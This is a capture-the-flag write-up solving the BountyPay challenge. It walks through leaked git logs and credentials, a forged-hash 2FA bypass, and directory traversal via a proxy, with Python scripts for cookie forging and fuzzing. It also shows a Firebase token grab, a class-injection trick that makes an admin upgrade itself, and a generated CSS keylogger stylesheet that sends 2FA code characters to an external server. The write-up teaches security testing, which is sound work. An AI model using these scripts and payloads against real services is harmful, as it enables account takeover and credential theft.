It all started with a tweet:

Hacker0x01 Tweet

Oh no, it seems @martenmickos has lost his login details for BountyPay and needs us to help recover them! After following the links in the tweet we arrive at a landing page showing a logo and linking to two other pages:

After having a look around and a quick test of these two sites, there didn’t seem to be anything immediately obvious on the customer site and the only thing I noticed on the staff site was that the username field could be pre-filled using a query parameter, eg would return <input name="username" class="form-control" value="vakzz">.

As there was not much to go on, the next step was to do a bit of scanning. I fired up dirsearch to see what could be found:

./ -u -E

It quickly showed that there was an accessible git repo! Having a look at .git/config gave the upstream url for the repo:

$ curl
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url =
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master

I also tried a few tools such as git-dumper to try and extract some objects, but it seemed to be a very bare repo and nothing could be recovered.

The other accessible file was .git/packed-refs which gave a SHA for refs/remotes/origin/master:

$ curl
# pack-refs with: peeled fully-peeled sorted
b6e669482e32b4052bb10b7a4ac962deea9ac97c refs/remotes/origin/master

Visiting revealed only one file logger.php which looked like it could be very helpful:


$data = array(
  'IP'        =>  $_SERVER["REMOTE_ADDR"],
  'URI'       =>  $_SERVER["REQUEST_URI"],
  'PARAMS'    =>  array(
      'GET'   =>  $_GET,
      'POST'  =>  $_POST

file_put_contents('bp_web_trace.log', date("U").':'.base64_encode(json_encode($data))."\n",FILE_APPEND   );

Interestingly the head commit was different to the one we found above. Searching GitHub for b6e669482e32b4052bb10b7a4ac962deea9ac97c revealed that it was part of another repo at


The repo description was Framework for our websites [^FLAG^0DACF0DC38B6E3FFBA62FB91EA4CCC22^FLAG^] and the commit message looked promising, but after searching for vulntraining it seemed like this might have been part of an older ctf by CTFchallenge.

Grabbing the contents of bp_web_trace.log showed four entries (also indicated that it probably wasn’t live or it would have had a bunch more from my previous attempts):

$ curl

For CTFs I quite often use to quickly encoding/decoding things, and chucking in the base64 strings from above revealed:


Great! So we have a username, password, and some sort of challenge answer. Using the credentials gets us one step further, but now there is another prompt asking for a 2FA password!

app 2fa

Trying the challenge answer of bD83Jk27dQ from the logs did not work, that would be too easy I guess! Looking at the request via Burp we can see that there is another parameter challenge. This looked like a MD5 hash of some sort, and it changed each time we attempted to log in. I initially tried a few different MD5 reverse sites to see if they had a match for any of the hashes but nothing was found. If challenge was just a MD5 hash, maybe we could just supply our own?

$ echo -n 12345 | md5sum
827ccb0eea8a706c4c34a16891f84e7b -

Using the Chrome DevTools to change the challenge input field to 827ccb0eea8a706c4c34a16891f84e7b and using 12345 as the password worked! We are shown a dashboard and an empty list of transactions to process:

app transactions

After trying out a few dates without seeing any transactions, I had a look at the request being made:

GET /statements?month=01&year=2020 HTTP/1.1
Connection: close
Cookie: token=eyJhY2NvdW50X2lkIjoiRjhnSGlxU2RwSyIsImhhc2giOiJkZTIzNWJmZmQyM2RmNjk5NWFkNGUwOTMwYmFhYzFhMiJ9

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 177

{"url":"https:\/\/\/api\/accounts\/F8gHiqSdpK\/statements?month=01&year=2020","data":"{\"description\":\"Transactions for 2020-01\",\"transactions\":[]}"}

Decoding the cookie with revealed the following content:

{ "account_id": "F8gHiqSdpK", "hash": "de235bffd23df6995ad4e0930baac1a2" }

Interestingly, the server still responded as though we were logged in if we changed the account_id but not if we changed the hash, and the account_id was being used directly in the url field. For instance setting the account to vakzz returned:

  "url": "",
  "data": "[\"Invalid Account ID\"]"

Visiting returned ["Missing or invalid Token"] so it seemed like the /statements endpoint was proxying our request to the API server and adding a token of some sort.

It was getting a bit annoying manually changing the cookie each time, so I wrote a quick python script to make it a bit easier:

#!/usr/bin/env python3

import requests
import json
import urllib.parse
import sys
from pwn import b64e

data = {
    "account_id": sys.argv[1],
    "hash": "de235bffd23df6995ad4e0930baac1a2"

cookies = {
    "token": b64e(str.encode(json.dumps(data)))

r = requests.get(


This allowed me to quickly test a few things, and I soon discovered that the endpoint was vulnerable to directory traversal allowing any endpoint to be hit:

$ python ./ 'F8gHiqSdpK#'
  "url": "",
  "data": "{\"account_id\":\"F8gHiqSdpK\",\"owner\":\"Mr Brian Oliver\",\"company\":\"BountyPay Demo \"}"

$ python ./ '../../../../../../#'
  "url": "",
  "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>BountyPay | Login</title>\n    <link href=\"/css/bootstrap.min.css\" rel=\"stylesheet\">\n</head>\n<body>\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <div class=\"text-center\" style=\"margin-top:30px\"><img src=\"/images/bountypay.png\" height=\"150\"></div>\n            <h1 class=\"text-center\">BountyPay API</h1>\n            <p style=\"text-align: justify\">Our BountyPay API controls all of our services in one place. We use a <a href=\"/redirect?url=\">REST API</a> with JSON output. If you are interested in using this API please contact your account manager.</p>\n        </div>\n    </div>\n</div>\n<script src=\"/js/jquery.min.js\"></script>\n<script src=\"/js/bootstrap.min.js\"></script>\n</body>\n</html>"

This also led to the discovery of which seemed to be an open redirect at first, but after some testing, it had a whitelist only allowing certain URLs including,, and

This is where I ran into a bit of a wall and got stuck for a while, so I spent a bit more time scanning and looking for more information.

I noticed that the source for originally contained a link to but it was then changed to https://twitter .com/bountypayhq. Searching for @bountypayhq on twitter revealed this tweet:

sandra tweet

Decoding the barcode gave the same text as underneath it STF:8FJ3KFISL3 (I just used a QR scanner on my phone). Looked very promising but using it in the cookie revealed nothing.

While scanning the api with ./ -u '' -E I discovered, but hitting this directly and through the proxy returned an error saying Missing or invalid Token.

Next I had a look to see if there were any other subdomains, I normally start with as it’s quick and easy. Hitting revealed that there was also a domain! Visiting this returned a 401 error saying You do not have permission to access this server from your IP Address. This domain was also whitelisted in the api redirect! Maybe the proxy would be allowed to access it?

$ python ./ '../../../../redirect?url='
  "url": "",
  "data": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n    <title>Software Storage</title>\n    <link href=\"/css/bootstrap.min.css\" rel=\"stylesheet\">\n</head>\n<body>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-sm-6 col-sm-offset-3\">\n            <h1 style=\"text-align: center\">Software Storage</h1>\n            <form method=\"post\" action=\"/\">\n                <div class=\"panel panel-default\" style=\"margin-top:50px\">\n                    <div class=\"panel-heading\">Login</div>\n                    <div class=\"panel-body\">\n                        <div style=\"margin-top:7px\"><label>Username:</label></div>\n                        <div><input name=\"username\" class=\"form-control\"></div>\n                        <div style=\"margin-top:7px\"><label>Password:</label></div>\n                        <div><input name=\"password\" type=\"password\" class=\"form-control\"></div>\n                    </div>\n                </div>\n                <input type=\"submit\" class=\"btn btn-success pull-right\" value=\"Login\">\n            </form>\n        </div>\n    </div>\n</div>\n<script src=\"/js/jquery.min.js\"></script>\n<script src=\"/js/bootstrap.min.js\"></script>\n</body>\n</html>"

Great! we have a new login page, but unfortunately that was all I could find to access. I decided it was time to try and scan the new domain through the proxy. As I’d been doing quite a bit of scanning, I stared looking for some alternatives to dirsearch, it did the job most of the time but wasn’t amazing. My teammate corb3nik from OpenToAll mentioned that he normally uses ffuf with some of the raft word lists so I decided to download and give that a try.

I wrote another quick python script using flask to help with proxying the proxy, that way I could point ffuf to the flask server and have it handle the requests:

#!/usr/bin/env python3
import requests
import json
import urllib.parse
from pwn import b64e

from flask import Flask
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
def catch_all(path):
    data = {
        "account_id": "../../../../redirect?url={}".format(
        "hash": "de235bffd23df6995ad4e0930baac1a2"

    cookies = {
        "token": b64e(str.encode(json.dumps(data)))

    r = requests.get(
        "", cookies=cookies,
    text = r.text
    code = 200
    if "404" in text:
        code = 404
    elif "403" in text:
        code = 403
    elif "401" in text:
        code = 401
    elif "402" in text:
        code = 402
    return r.text, code

if __name__ == '__main__':

Running ./ffuf -u http://localhost:5000/FUZZ -w ./raft-large-directories.txt ticked away and found the normal js, css, image asset directories but nothing else. Once again I was stuck with not much left to try.

The next day I decided to rerun all the scans to see if there was something I had missed, and came across while scanning with ./ffuf -u -w ./raft-large-directories.txt -fc 302 (the fc option filtered out the 302 redirects to the login page):

$(".upgradeToAdmin").click(function () {
  let t = $('input[name="username"]').val();
  $.get("/admin/upgrade?username=" + t, function () {
    alert("User Upgraded to Admin");
  $(".tab").click(function () {
    return (
      $("div.content-" + $(this).attr("data-target")).removeClass("hidden"),
  $(".sendReport").click(function () {
    $.get("/admin/report?url=" + url, function () {
      alert("Report sent to admin team");
  document.location.hash.length > 0 &&
    ("#tab1" === document.location.hash && $(".tab1").trigger("click"),
    "#tab2" === document.location.hash && $(".tab2").trigger("click"),
    "#tab3" === document.location.hash && $(".tab3").trigger("click"),
    "#tab4" === document.location.hash && $(".tab4").trigger("click"));

This lead to two new endpoints, and The first returned ["Only admins can perform this"] and the other always returned ["Report received"]. I performed quite a bit of testing of the reporting api, but was unable to confirm that it doing anything, for instance when using something like it didn’t even resolve the host.

I discovered a few more valid template parameters by scanning with ./ffuf -u '' -w ./raft-large-directories.txt -fs 0 -r (the fs option removed responses with a size of 0 and r followed redirects) which were admin, home, and ticket. They all redirected to the login template except which always returned No Access to this resource. I also found that the template parameter could be sent as an array and it still worked eg:[]=login rendered the login page.

I finally came back around to retesting, it was the logical next step and I still hadn’t found anything of use or interest. I modified my proxy to also print out the whole response, and started scanning again. Then the following was printed:

  "url": "",
  "data": "<html>\n<head><title>Index of /uploads/</title></head>\n<body bgcolor=\"white\">\n<h1>Index of /uploads/</h1><hr><pre><a href=\"../\">../</a>\n<a href=\"/uploads/BountyPay.apk\">BountyPay.apk</a>                                        20-Apr-2020 11:26              4043701\n</pre><hr></body>\n</html>\n"

An upload directory with a file called BountyPay.apk in it, great! Looking at the file size in the directory listing I realized why I had missed it before, 4043701 contained 404 so I had filtered it out as a 404 error in the first scan :( Lesson learned, next time I’ll match on the full error message!

So finally a way to proceed! I downloaded the APK from and uploaded it to, resulting in a zip file with the source code and resources. I also uploaded it to to have a quick test of what the app looked like:


I opened the source with IntelliJ IDEA and had a look around. There were four activities, Main, PartOne, PartTwo and PartThree. It seemed like it was using firebase to log events and fetch information, and PartThreeActivity had some very interesting bits of code:

        String str = "aG9zdA=="; = str;
        this.decodedDirectory = Base64.decode(str, 0);
        this.refDirectory = new String(this.decodedDirectory, StandardCharsets.UTF_8);
        this.database = FirebaseDatabase.getInstance().getReference();
        this.childRef = this.database.child(this.refDirectory);
        String str2 = "WC1Ub2tlbg==";
        this.directoryTwo = str2;
        this.decodedDirectoryTwo = Base64.decode(str2, 0);
        this.refDirectoryTwo = new String(this.decodedDirectoryTwo, StandardCharsets.UTF_8);
        this.childRefTwo = this.database.child(this.refDirectoryTwo);
        String str3 = "header";
        this.headerDirectory = str3;
        this.childRefThree = this.database.child(str3);

 //   <SNIP>

        SharedPreferences settings = getSharedPreferences(KEY_USERNAME, 0);
        String str = "";
        String host = settings.getString("HOST", str);
        String token = settings.getString("TOKEN", str);
        Log.d("HOST IS: ", host);
        Log.d("TOKEN IS: ", token);
        try {
            HttpURLConnection conn = (HttpURLConnection) new URL(host).openConnection();
            Builder builder = new Builder().appendQueryParameter("firstParam", paramValue);
            StringBuilder sb = new StringBuilder();
            sb.append("X-Token: ");
            Log.d("HEADER VALUE AND HASH ", sb.toString());

Decoding the base64 strings give host and X-Token, seemed promising as we were looking for a token for the api server! I know that firebase can often be configured incorrectly (or have no security configured at all), so I wanted to see if I could connect to it directly and just bypass the android app.

I search the code for firebaseio and found the following in strings.xml:

    <string name="firebase_database_url"></string>
    <string name="gcm_defaultSenderId">467982724703</string>
    <string name="google_api_key">AIzaSyAyr601_-ElsasDnhGORBykg0ZTDaOxFeo</string>
    <string name="google_app_id">1:467982724703:android:4428e053082d32ce84b5ea</string>
    <string name="google_crash_reporting_api_key">AIzaSyAyr601_-ElsasDnhGORBykg0ZTDaOxFeo</string>
    <string name="google_storage_bucket"></string>

I created a quick html snippet to allow me to interact with firebase via the DevTools in Chrome:

<!DOCTYPE html>
    <script src=""></script>
    <script src=""></script>
    <script src=""></script>
        apiKey: "AIzaSyAyr601_-ElsasDnhGORBykg0ZTDaOxFeo",
        databaseURL: "",
        storageBucket: "",


After playing around and relearning how to read data in firebase I was ready to try out the refs discovered above:

> firebase.database().ref('host').on('value', (snapshot) => console.log(snapshot.val()))

> firebase.database().ref('X-Token').on('value', (snapshot) => console.log(snapshot.val()))

That looked exactly like what we were after! A quick curl of the api shows that it was a valid token, and it also allowed us to hit the staff endpoint:

$ curl -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"
{"account_id":"F8gHiqSdpK","owner":"Mr Brian Oliver","company":"BountyPay Demo "}

$ curl -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1"
[{"name":"Sam Jenkins","staff_id":"STF:84DJKEIP38"},{"name":"Brian Oliver","staff_id":"STF:KE624RQ2T9"}]

The staff ids looked to be the same format as the one from photo that Sandra tweeted, but she was not in the list of staff for some reason. I then tried to see if we could POST to the staff endpoint, that returned ["Missing Parameter"] which was promising. The name parameter didn’t make a difference but staff_id resulted in ["Invalid Staff ID"]. Using the staff_id we discovered before

$ curl -H "X-Token: 8e9998ee3137ca9ade8f372739f062c1" -XPOST -F staff_id='STF:8FJ3KFISL3'
{"description":"Staff Member Account Created","username":"sandra.allison","password":"s%3D8qB8zEpMnc*xsz7Yp5"}

Using these credentials we were able to log in and gain access to the staff portal!

staff dashboard

Clicking around there were a few things to take note of:

Looking at the source also showed why the report api wasn’t working before, as the url parameter being reported was in the form var url = 'Lz90ZW1wbGF0ZT1ob21l';. Decoding this resulted in /?template=home, so the url parameter needed to be base64 encoded and relative to be accepted by the endpoint. The report modal also had a bit of text mentioning that pages in /admin would be ignored:


So it seemed to be an XSS challenge, we needed to report a URL that would somehow call the upgrade api with our username making us an admin.

We could change our profile name and avatar, but with a bit of testing it looked like every character that didn’t match [a-zA-Z0-9 ] was stripped out which stopped most simple injections. Interestingly whatever we specify for profile_avatar was being set as the class name for the avatar div, which appeared on the profile tab and the open support ticket.

Looking at the website.js we previously discovered, it had the following snippet: "#tab1" === document.location.hash && $(".tab1").trigger("click"). Since we could add classes, this code would allow us to trigger a click on it if we added tab1. It also contained the following:

$(".upgradeToAdmin").click(function () {
  let t = $('input[name="username"]').val();
  $.get("/admin/upgrade?username=" + t, function () {
    alert("User Upgraded to Admin");

So when anything with the class upgradeToAdmin was clicked it would fire off a request. I changed the value of profile_avatar from avatar3 to tab1 upgradeToAdmin and submitted the form, then went to This fired off a request to, getting closer! The same technique also worked from the ticket template.

I tried a few way to change my username to undefined or to create a new user but was unable to. I remembered that the username field in the login form could be filled in, but the website.js was not included and also our avatar was not shown to trigger the click.

It took quite a bit of time and dead ends (such as investigating the cookie format, submitting urls to ?template=admin, and various other parameter combinations) but eventually realized that I already had all the required bits of information, I just hadn’t put them together.

I needed to have page that had both my avatar, and the username input field on it. Earlier I had discovered that[]=login would render correctly, and now visiting this url did not redirect or log us out. What if I added another template parameter?

Bingo! Visiting[]=login&template[]=admin showed both the login page and the error message from the admin template! This was just what was required, putting it all together and visiting[]=login&template[]=ticket&ticket_id=3582&username=sandra.allison#tab1 fired off a request to

I converted the relative path to base64 and sent in the report, after a few moments I hit and it returned view admin, looks like it worked!

Back to the portal page and there was a new admin tab, clicking revealed a list of users including the password for marten.mickos:

admin tab

Using these credentials we are able to log into (using the same 2fa bypass as before) and this time loading the transactions for 05/2020 returned a row!

transaction row

Hitting Pay takes us to displaying another 2FA challenge, of course it wasn’t going to be that easy.


Hitting the Send Challenge button submits the form with an interesting parameter: app_style= The next form has a challenge_timeout, a challenge (which looked like another hash), and the challenge_answer we need to fill out. Changing the challenge hash and using 12345 did not work this time (to be expected).

So it looked like we could supply our own stylesheet, I tested this by starting a simple python server with python3 -m http.server and running ngrok with ngrok http 8000 to make it externally accessible. I then created a file with body { background: url("/a") } and set the app_style parameter to Submitting this and looking at the ngrok logs showed that the style was fetched and then the background image too!

GET /a                         404 File not found
GET /style1.css                200 OK

I’ve read a few articles as well as the video by LiveOverflow on CSS Keyloggers, so I had a pretty good idea of what was needed. The first thing was to try and determine how the 2FA code was displayed on the page. Using input {background: url("/a");} confirmed that there was an input on the page, and input:nth-of-type(2) {background: url("/2");} confirmed there was a second. I then created and sent the follow styles to determine how many there were:

input:nth-of-type(1) { background: url("/1") }
input:nth-of-type(2) { background: url("/2") }
input:nth-of-type(3) { background: url("/3") }
input:nth-of-type(4) { background: url("/4") }
input:nth-of-type(5) { background: url("/5") }
input:nth-of-type(6) { background: url("/6") }
input:nth-of-type(7) { background: url("/7") }
input:nth-of-type(8) { background: url("/8") }
input:nth-of-type(9) { background: url("/9") }
input:nth-of-type(10) { background: url("/10") }

The largest request that came back was /7, telling us that there were 7 input fields, presumably each one contained a letter of the code! We can use this knowledge to generate a big stylesheet containing rules for each of the sever input fields in the format of input:nth-of-type(1)[value="a"] {background-image: url("/image-char1-a.png")}, one for each character that the code could be. I wrote some python code to generate the stylesheet:

def generate_styles():
    styles = ""
    for i in range(1, 8):
        for c in string.ascii_letters + string.digits:
            styles += 'input:nth-of-type({0})[value="{1}"] {{background-image: url("/char*{0}*{1}*.png")}}\n'.format(
                i, c)
    return styles

This produced a rule for each of the combinations:

input:nth-of-type(1)[value="a"] {background-image: url("/char*1*a*.png")}
input:nth-of-type(1)[value="b"] {background-image: url("/char*1*b*.png")}
input:nth-of-type(1)[value="c"] {background-image: url("/char*1*c*.png")}
input:nth-of-type(1)[value="d"] {background-image: url("/char*1*d*.png")}
// <SNIP>
input:nth-of-type(7)[value="6"] {background-image: url("/char*7*6*.png")}
input:nth-of-type(7)[value="7"] {background-image: url("/char*7*7*.png")}
input:nth-of-type(7)[value="8"] {background-image: url("/char*7*8*.png")}
input:nth-of-type(7)[value="9"] {background-image: url("/char*7*9*.png")}

I then sent through the generated stylesheet and watched the requests come in:

GET /char*6*a*.png             404 File not found
GET /char*5*4*.png             404 File not found
GET /char*3*u*.png             404 File not found
GET /char*4*N*.png             404 File not found
GET /char*2*a*.png             404 File not found
GET /char*7*v*.png             404 File not found
GET /char*1*M*.png             404 File not found
GET /style2.css                200 OK

Rearranging the characters gave the code MauN4av, beating the final 2FA and finishing the CTF!